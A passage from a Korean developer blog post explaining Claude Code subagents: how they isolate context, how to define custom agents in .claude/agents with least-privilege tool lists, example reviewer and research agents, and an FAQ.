&lt;td&gt;에이전트별로 허용된 tool만 사용 (예: 읽기 전용, Bash 차단 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;결과만 반환&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;중간 과정(tool 호출·사고)은 메인에 안 보임, 최종 결과만 돌아옴&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;비유하자면 — &lt;strong&gt;사무실 본인(메인)은 큰 회의를 주재하고, 리서치 과제는 인턴(Subagent)에게 위임&lt;/strong&gt;합니다. 인턴은 혼자 책장에서 자료를 뒤지고 요약본만 들고 옵니다. 본인 회의실은 조용히 유지됩니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/a2bc7fa4c78cb0d7b883cbc4d7350868/64756/diagram-anatomy.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACMElEQVR42i2S2W7bMBBF9QmJ7VjWLlLiqpXUQouyZSmyYwcpkIcW/f9PKd0WOJiHAc7cwWCsjZuDVEDSM7HwemL5yKpVHB/18CBiKfobk6uHlE+GgA4B089KBg8r07S2bo6ISGnX6LvolrwcS3kVx49KPdrxZzN+Z+0jwKeYTYAvgC0RnXykDW7aP+Ve39T5gbgyI0iuSN77iXBhL/pfZW/kH7j8TLIPxB+Yf0Z4tqPWBcqBRvYLXJzq7gOyIcYtIB2kfYg7Hw0mKsnWJLui/A74aoftPpD7oHnzpR11B9AZucRM1fIeoqMbCxdIH8qYqZidITPmLc1vpgK22lDt4/a/HHaHuLX2YQXoEeDFiYQDagcIL5GQDzA7h+w9oktILhG9ROTiZOMhVXbQmBVM8j5qLDuq00zn5WwCnVia5CBpwkL79QVPv5n+Juorrm8HOnnl3anudnHbpXoX92+hsA5AQqZQptJsMKB8xOUY8yHgZ9R+kv4raT+D8uqw+S3ROzhsY/UayNew2YW15UCZ8GNizFzjYiTVmdZnkOmAnbzi3ctmh88uX1y27Px24wnDqy+Mv/Ury4WNkdO/MipO//CJstFg83nPLjadbDLb+LKhegPVi9e8+NKw8UrLS7uUP9dG+YDzoe7mTq+tvgq1Vu2FNwuVK64WUq1YrCEdg1R5sHdAs3ELyzxa/LztmOQnA64mWk+kmkh5MuPMLQHVgAyQaIB0CJUPWjeSHmi2XvkHcSB61e9nqDoAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/a2bc7fa4c78cb0d7b883cbc4d7350868/a1b3b/diagram-anatomy.webp 215w,
/static/a2bc7fa4c78cb0d7b883cbc4d7350868/fc700/diagram-anatomy.webp 430w,
/static/a2bc7fa4c78cb0d7b883cbc4d7350868/521f7/diagram-anatomy.webp 860w,
/static/a2bc7fa4c78cb0d7b883cbc4d7350868/cbd37/diagram-anatomy.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/a2bc7fa4c78cb0d7b883cbc4d7350868/f7886/diagram-anatomy.png 215w,
/static/a2bc7fa4c78cb0d7b883cbc4d7350868/bc750/diagram-anatomy.png 430w,
/static/a2bc7fa4c78cb0d7b883cbc4d7350868/3e3fe/diagram-anatomy.png 860w,
/static/a2bc7fa4c78cb0d7b883cbc4d7350868/64756/diagram-anatomy.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/a2bc7fa4c78cb0d7b883cbc4d7350868/3e3fe/diagram-anatomy.png&apos; alt=&apos;Subagent 구조도 — 메인 세션과 격리된 독립 컨텍스트에서 실행되는 서브 에이전트들&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;Subagent 구조도 — 메인 세션과 격리된 독립 컨텍스트에서 실행되는 서브 에이전트들&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 쓰는가 — 3가지 가치&lt;/h2&gt;
&lt;h3&gt;1) 컨텍스트 격리 — 가장 큰 이유&lt;/h3&gt;
&lt;p&gt;대량 탐색·로그 확인·문서 읽기 같은 &quot;보조 작업&quot;이 메인 대화의 토큰을 먹어치우는 걸 막습니다. 같은 프로젝트를 3일째 붙잡고 있는 세션일수록 체감 효과가 큽니다.&lt;/p&gt;
&lt;h3&gt;2) 병렬화&lt;/h3&gt;
&lt;p&gt;독립된 작업이라면 &lt;strong&gt;한 메시지 안에서 여러 Subagent를 동시에 호출&lt;/strong&gt; 가능합니다. 예: 프론트엔드 코드 스캔 + 백엔드 API 점검 + 테스트 커버리지 확인을 동시 진행.&lt;/p&gt;
&lt;h3&gt;3) 특화 (Specialization)&lt;/h3&gt;
&lt;p&gt;각 에이전트에 &lt;strong&gt;전용 시스템 프롬프트 + 도구 조합&lt;/strong&gt;을 세팅할 수 있습니다. 보안 리뷰어는 Read·Grep만 허용, 테스트 러너는 Bash까지 허용 — 식으로 &lt;strong&gt;최소 권한 + 전문성&lt;/strong&gt;을 동시에 얻습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;내장 Subagent 지도 — 기본 탑재 5가지&lt;/h2&gt;
&lt;p&gt;Claude Code에는 바로 쓸 수 있는 공식 에이전트들이 있습니다 (버전·설정에 따라 구성 다름).&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;에이전트&lt;/th&gt;
&lt;th&gt;용도&lt;/th&gt;
&lt;th&gt;대표 사용 시점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;general-purpose&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;범용 복잡 작업 — 모든 도구 사용 가능&lt;/td&gt;
&lt;td&gt;키워드·파일 여러 번 검색하는 불확실한 탐색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Explore&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;코드베이스 탐색 전용 (읽기·검색 위주)&lt;/td&gt;
&lt;td&gt;&quot;이 기능은 어디에 구현돼 있지?&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plan&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;구현 계획 수립 — 단계별 전략 + 주요 파일 식별&lt;/td&gt;
&lt;td&gt;대규모 리팩토링·기능 추가 전&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;claude-code-guide&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Claude Code 자체 기능 Q&amp;#x26;A (훅·슬래시·MCP 등)&lt;/td&gt;
&lt;td&gt;&quot;이 기능 어떻게 설정해?&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;statusline-setup&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;상태바 커스터마이징&lt;/td&gt;
&lt;td&gt;상태바 설정 변경&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;실전 선택 팁&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;탐색 범위가 명확하지 않다 → &lt;code class=&quot;language-text&quot;&gt;general-purpose&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;그냥 &quot;어디 있는지&quot;만 알면 됨 → &lt;code class=&quot;language-text&quot;&gt;Explore&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;큰 변경을 설계해야 함 → &lt;code class=&quot;language-text&quot;&gt;Plan&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Claude Code 자체 문법·설정 질문 → &lt;code class=&quot;language-text&quot;&gt;claude-code-guide&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;커스텀 Subagent 만들기 — &lt;code class=&quot;language-text&quot;&gt;.claude/agents/&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;프로젝트 루트 혹은 유저 홈에 agent 정의 파일을 두면 Claude Code가 자동 인식합니다.&lt;/p&gt;
&lt;h3&gt;파일 위치와 범위&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;범위&lt;/th&gt;
&lt;th&gt;경로&lt;/th&gt;
&lt;th&gt;공유 대상&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;프로젝트&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;&amp;lt;repo&gt;/.claude/agents/&amp;lt;name&gt;.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;레포 팀원 전원 (Git)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;사용자&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;~/.claude/agents/&amp;lt;name&gt;.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;본인 전용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;플러그인&lt;/td&gt;
&lt;td&gt;플러그인 설치 시 포함&lt;/td&gt;
&lt;td&gt;플러그인 사용자&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;최소 정의 예시&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;&amp;lt;repo&gt;/.claude/agents/security-reviewer.md&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token front-matter-block&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token front-matter yaml language-yaml&quot;&gt;name: security-reviewer
description: Use when reviewing code for OWASP Top 10, secrets exposure, or auth bugs. Proactively invoke after touching auth/session/input-validation code.
tools: Read, Grep, Glob
model: sonnet&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;&lt;/span&gt;

You are a security-focused code reviewer.

For any code shown:

&lt;span class=&quot;token list punctuation&quot;&gt;1.&lt;/span&gt; Scan for OWASP Top 10 patterns (injection, XSS, SSRF, auth bypass).
&lt;span class=&quot;token list punctuation&quot;&gt;2.&lt;/span&gt; Flag hardcoded secrets, API keys, tokens.
&lt;span class=&quot;token list punctuation&quot;&gt;3.&lt;/span&gt; Check session/cookie handling, CSRF protection.
&lt;span class=&quot;token list punctuation&quot;&gt;4.&lt;/span&gt; Return a punch list with severity (High / Medium / Low) and file:line citations.

Keep report under 300 words. Don&apos;t lecture — just findings and fixes.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;프론트매터 필드&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;필드&lt;/th&gt;
&lt;th&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;name&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;에이전트 식별자 (필수)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;description&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;trigger&lt;/strong&gt; — 메인 Claude가 &quot;언제 이 에이전트를 써야 하는지&quot; 판단 근거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;tools&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;허용 도구 목록 (생략 시 전체 허용, &lt;strong&gt;반드시 최소 권한 지정 권장&lt;/strong&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;model&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;사용 모델 — &lt;code class=&quot;language-text&quot;&gt;opus&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;sonnet&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;haiku&lt;/code&gt;, 또는 생략 시 상속&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;좋은 Subagent 설계 원칙 5가지&lt;/h2&gt;
&lt;h3&gt;1) &lt;code class=&quot;language-text&quot;&gt;description&lt;/code&gt;에 &quot;when to use&quot;를 명시&lt;/h3&gt;
&lt;p&gt;메인 Claude는 이 문장을 보고 자동으로 해당 에이전트에 작업을 라우팅합니다. &lt;strong&gt;&quot;무엇을 하는지&quot;보다 &quot;언제 불려야 하는지&quot;가 중요&lt;/strong&gt;합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;description: Use when reviewing PRs for security, performance, or test coverage issues. Proactively invoke after large code changes.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2) Tool은 &lt;strong&gt;최소 권한&lt;/strong&gt;으로&lt;/h3&gt;
&lt;p&gt;읽기만 하면 되는 리뷰어에게 &lt;code class=&quot;language-text&quot;&gt;Write&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;Bash&lt;/code&gt;를 열어두면, 에이전트 오작동이 실제 변경으로 이어집니다. blast radius를 좁히세요.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;tools&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Read&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Grep&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Glob &lt;span class=&quot;token comment&quot;&gt;# 리뷰어는 여기까지만&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;3) &lt;strong&gt;Self-contained&lt;/strong&gt; 프롬프트&lt;/h3&gt;
&lt;p&gt;에이전트는 메인 세션을 보지 못합니다. &quot;아까 말한 그 함수 있잖아&quot;는 통하지 않습니다. 프롬프트 안에 &lt;strong&gt;필요한 모든 맥락&lt;/strong&gt;(파일 경로, 목표, 제약)을 담으세요.&lt;/p&gt;
&lt;h3&gt;4) &lt;strong&gt;결과 형식&lt;/strong&gt;을 지정&lt;/h3&gt;
&lt;p&gt;자유 형식 에이전트는 메인 context에 쓰레기를 쏟아냅니다. &quot;200자 이내 보고서&quot;, &quot;체크리스트 형식&quot;, &quot;JSON으로만 답변&quot; 같은 제약이 필수.&lt;/p&gt;
&lt;h3&gt;5) &lt;strong&gt;Trust but verify&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;에이전트 리턴값은 &quot;의도&quot;입니다. 실제로 파일이 변경됐다면 Read/git diff로 검증하세요. &quot;했다&quot;와 &quot;진짜 했다&quot;는 다릅니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/a24df9770bd0aabccfdcdc7fd6e3570b/64756/diagram-lifecycle.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACM0lEQVR42g2RWXKjMBRF2ULsGBvELNAsARKTAJvE2MapdFfvfzdN1alb7+fc+/Gcgy9iWMWoKdSCxIiYRfwLl4vqnvWwqfalui1ms49sgMeQTBEZQzSAot9xjkAUxCDad+Oz0l9SPbjapNn48BbjL7d/1PRLlYWsw3JMuPXF5DML1OTlneOGSqohQ22pDGML5f9yujLx9pu/bv26VFui16vVlRm6ds7b6TzdvXqOl/WCWucUqBTvrdcoN2lhC7bGxQQyG6s71M+ALT4esOwh7WNYxryFzSPkk1s0bqb35RJkJoLmEoowa4K09aLyEpuEL1Dc3KS55E1UGC+p3YCHxMTydobNIavdVDvnuIK4haQraJchm6B7RnZWn3+D8gmqVyBvVBoiDOV1yMxJ2rO0rhhOae1ckhqxHouByCHDU0ZfOdty+gRyDcwb6J9ALlwZUTZC6Ijpk7KutCfef8aV46Ua855IS9QA6Qzpq9hltgXqAfTbr7ZdZtIw2XCuI6pPYjeHT9Yd49LxM03EQMuRVmPOrjl7Y/mDxDtQK6hffr0FYmGi4aoTwkTEfPJxl4+0PYTK8aHBYsy5LYSF9ArZO8FrjNYL+z7p35N4eGTGzBRYY6xDrHf5gNsP1HwE0gF5W/BhB4k9R1p+m+6h23vV31nzRfRKqm9Z31S1EGbjvAlQ68Pay6oDEA5AQ0Jtxkco5lzOuZhwOSM1of1mQ0bHjE4pmVI8xbndHwkS40WVn+ojUP8BJXx8rs6ZfbcAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/a24df9770bd0aabccfdcdc7fd6e3570b/a1b3b/diagram-lifecycle.webp 215w,
/static/a24df9770bd0aabccfdcdc7fd6e3570b/fc700/diagram-lifecycle.webp 430w,
/static/a24df9770bd0aabccfdcdc7fd6e3570b/521f7/diagram-lifecycle.webp 860w,
/static/a24df9770bd0aabccfdcdc7fd6e3570b/cbd37/diagram-lifecycle.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/a24df9770bd0aabccfdcdc7fd6e3570b/f7886/diagram-lifecycle.png 215w,
/static/a24df9770bd0aabccfdcdc7fd6e3570b/bc750/diagram-lifecycle.png 430w,
/static/a24df9770bd0aabccfdcdc7fd6e3570b/3e3fe/diagram-lifecycle.png 860w,
/static/a24df9770bd0aabccfdcdc7fd6e3570b/64756/diagram-lifecycle.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/a24df9770bd0aabccfdcdc7fd6e3570b/3e3fe/diagram-lifecycle.png&apos; alt=&apos;Subagent delegate 플로우 5단계 — 정의·호출·실행·반환·검증과 메인 컨텍스트 토큰 소비 비교&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;Subagent delegate 플로우 5단계 — 정의·호출·실행·반환·검증과 메인 컨텍스트 토큰 소비 비교&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실전 예시 3개&lt;/h2&gt;
&lt;h3&gt;예시 1) 블로그 톤 검토 에이전트&lt;/h3&gt;
&lt;p&gt;블로그 포스팅 톤이 프로젝트 가이드라인과 일치하는지 검증합니다.&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;.claude/agents/blog-tone-reviewer.md&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token front-matter-block&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token front-matter yaml language-yaml&quot;&gt;name: blog-tone-reviewer
description: Use to review draft blog posts for tone consistency. Checks greeting, conclusion-first pattern, SEO elements.
tools: Read, Grep, Glob
model: haiku&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;&lt;/span&gt;

You review Korean dev-blog drafts against the project&apos;s tone guide.

Check:

&lt;span class=&quot;token list punctuation&quot;&gt;1.&lt;/span&gt; Opens with &quot;안녕하세요, 자바파커입니다&quot;
&lt;span class=&quot;token list punctuation&quot;&gt;2.&lt;/span&gt; Uses &quot;~합니다&quot; body (친근하되 가볍지 않음)
&lt;span class=&quot;token list punctuation&quot;&gt;3.&lt;/span&gt; Conclusion stated early with &quot;결론부터 말씀드리면&quot;
&lt;span class=&quot;token list punctuation&quot;&gt;4.&lt;/span&gt; Has frontmatter with title, description (150자 내), tags
&lt;span class=&quot;token list punctuation&quot;&gt;5.&lt;/span&gt; Closes with a reader question
&lt;span class=&quot;token list punctuation&quot;&gt;6.&lt;/span&gt; Has at least 2 section dividers (---)

Report deviations with line numbers and suggested fixes. Under 200 words.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;호출:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Agent({
  subagent_type: &quot;blog-tone-reviewer&quot;,
  prompt: &quot;Review tistory/post/k8s-understanding.md for tone compliance.&quot;
})&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;예시 2) 보안 리뷰어 (병렬 호출)&lt;/h3&gt;
&lt;p&gt;PR 전체를 세 가지 관점으로 동시 검토.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Agent({ subagent_type: &quot;security-reviewer&quot;, prompt: &quot;Audit PR #42...&quot; })
Agent({ subagent_type: &quot;perf-reviewer&quot;, prompt: &quot;Check perf regression in PR #42...&quot; })
Agent({ subagent_type: &quot;test-coverage-reviewer&quot;, prompt: &quot;Validate test coverage of PR #42...&quot; })&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;한 메시지에 세 개를 동시 호출&lt;/strong&gt; → 셋이 병렬 실행되고 결과가 모여 돌아옵니다. Agent Team과 달리 서로 대화하진 않지만, 단순 리뷰라면 이걸로 충분합니다.&lt;/p&gt;
&lt;h3&gt;예시 3) 리서치용 범용 에이전트 (내장 활용)&lt;/h3&gt;
&lt;p&gt;새 라이브러리 도입 전 조사:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Agent({
  subagent_type: &quot;general-purpose&quot;,
  prompt: &quot;Research pros/cons of using Drizzle ORM vs Prisma for a Next.js 15 project. Summarize under 300 words with a recommendation and two tradeoffs.&quot;
})&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;내장 general-purpose는 WebSearch·WebFetch도 쓸 수 있어 외부 문서 조사까지 가능합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 겪는 이슈 3가지&lt;/h2&gt;
&lt;h3&gt;1) &quot;에이전트가 내가 방금 말한 걸 모른다&quot;&lt;/h3&gt;
&lt;p&gt;→ 당연합니다. 에이전트는 메인 히스토리를 못 봅니다. 프롬프트에 &lt;strong&gt;직접&lt;/strong&gt; 파일 경로·숫자·제약을 넣으세요.&lt;/p&gt;
&lt;h3&gt;2) &quot;에이전트가 결과를 너무 장황하게 돌려준다&quot;&lt;/h3&gt;
&lt;p&gt;→ &lt;code class=&quot;language-text&quot;&gt;description&lt;/code&gt;·프롬프트에 &quot;Report in under 200 words&quot; 같은 &lt;strong&gt;명시적 길이 제약&lt;/strong&gt;을 넣으세요. 결과가 메인 context로 그대로 들어오기 때문에, 장황하면 오히려 손해입니다.&lt;/p&gt;
&lt;h3&gt;3) &quot;간단한 작업인데 에이전트 쓰니 오히려 느리다&quot;&lt;/h3&gt;
&lt;p&gt;→ &lt;strong&gt;정확한 판단입니다.&lt;/strong&gt; Subagent는 비용이 있는 선택입니다. 한두 번 &lt;code class=&quot;language-text&quot;&gt;grep&lt;/code&gt;이면 끝날 일은 &lt;strong&gt;직접 수행&lt;/strong&gt;이 빠릅니다. &quot;탐색이 3라운드 이상 될 것 같다&quot; 싶을 때만 delegate하세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q. Subagent와 Skill, Slash Command의 차이는?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Skill&lt;/strong&gt;: 메인 세션 안에서 &lt;strong&gt;지식·도구 묶음을 로드&lt;/strong&gt;하는 확장 (예: &lt;code class=&quot;language-text&quot;&gt;update-config&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Slash Command&lt;/strong&gt;: 사용자가 타이핑하는 &lt;strong&gt;매크로&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Subagent&lt;/strong&gt;: 별도 Claude 세션으로 &lt;strong&gt;위임&lt;/strong&gt;하는 작업 실행자&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Skill·Command는 메인 컨텍스트에 머물고, Subagent만 컨텍스트를 분리합니다.&lt;/p&gt;
&lt;h3&gt;Q. 커스텀 에이전트는 어디에 둬야 팀 공유가 되나요?&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;&amp;lt;repo&gt;/.claude/agents/*.md&lt;/code&gt; 에 넣고 &lt;strong&gt;Git에 커밋&lt;/strong&gt;하세요. 같은 레포를 clone한 팀원 전원이 동일 에이전트를 자동 인식합니다.&lt;/p&gt;
&lt;h3&gt;Q. &lt;code class=&quot;language-text&quot;&gt;model: opus&lt;/code&gt;로 지정하면 비쌀텐데, 효과가 있나요?&lt;/h3&gt;
&lt;p&gt;리서치·복잡한 추론·계획 수립 같은 &lt;strong&gt;주제가 크고 깊은 작업&lt;/strong&gt;에는 opus가 효과적입니다. 반면 &lt;strong&gt;형식 검증·패턴 탐지&lt;/strong&gt; 같은 기계적 작업은 &lt;code class=&quot;language-text&quot;&gt;haiku&lt;/code&gt;로도 충분하고 비용이 훨씬 낮습니다. 에이전트별로 model을 다르게 지정하는 게 &lt;strong&gt;토큰 최적화의 핵심 지렛대&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;h3&gt;Q. Subagent 안에서 또 Subagent를 호출할 수 있나요?&lt;/h3&gt;
&lt;p&gt;허용되지 않습니다. &lt;strong&gt;중첩 호출은 막혀 있습니다.&lt;/strong&gt; 복잡한 협업이 필요하면 다음 편에서 다룰 &lt;strong&gt;Agent Teams&lt;/strong&gt;를 쓰세요 (팀원 간 통신 가능).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리 — 다음 단계&lt;/h2&gt;
&lt;p&gt;Subagent는 &quot;Claude Code 숙련도를 한 단계 올리는&quot; 핵심 개념입니다. 쓰는 순간 메인 컨텍스트가 깔끔해지고, 토큰 사용도 훨씬 예측 가능해집니다.&lt;/p&gt;
&lt;p&gt;오늘 정리 핵심:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Subagent는 &lt;strong&gt;독립 컨텍스트 · 제한 도구 · 결과 반환&lt;/strong&gt;의 3박자&lt;/li&gt;
&lt;li&gt;가치는 &lt;strong&gt;컨텍스트 격리 · 병렬화 · 특화&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;.claude/agents/*.md&lt;/code&gt;로 &lt;strong&gt;팀 공유 에이전트&lt;/strong&gt; 제작&lt;/li&gt;
&lt;li&gt;설계 원칙: description trigger · 최소 권한 · self-contained · 결과 형식 · verify&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;탐색 3라운드 이상&lt;/strong&gt; 예상될 때만 delegate&lt;/li&gt;
&lt;/ul&gt;
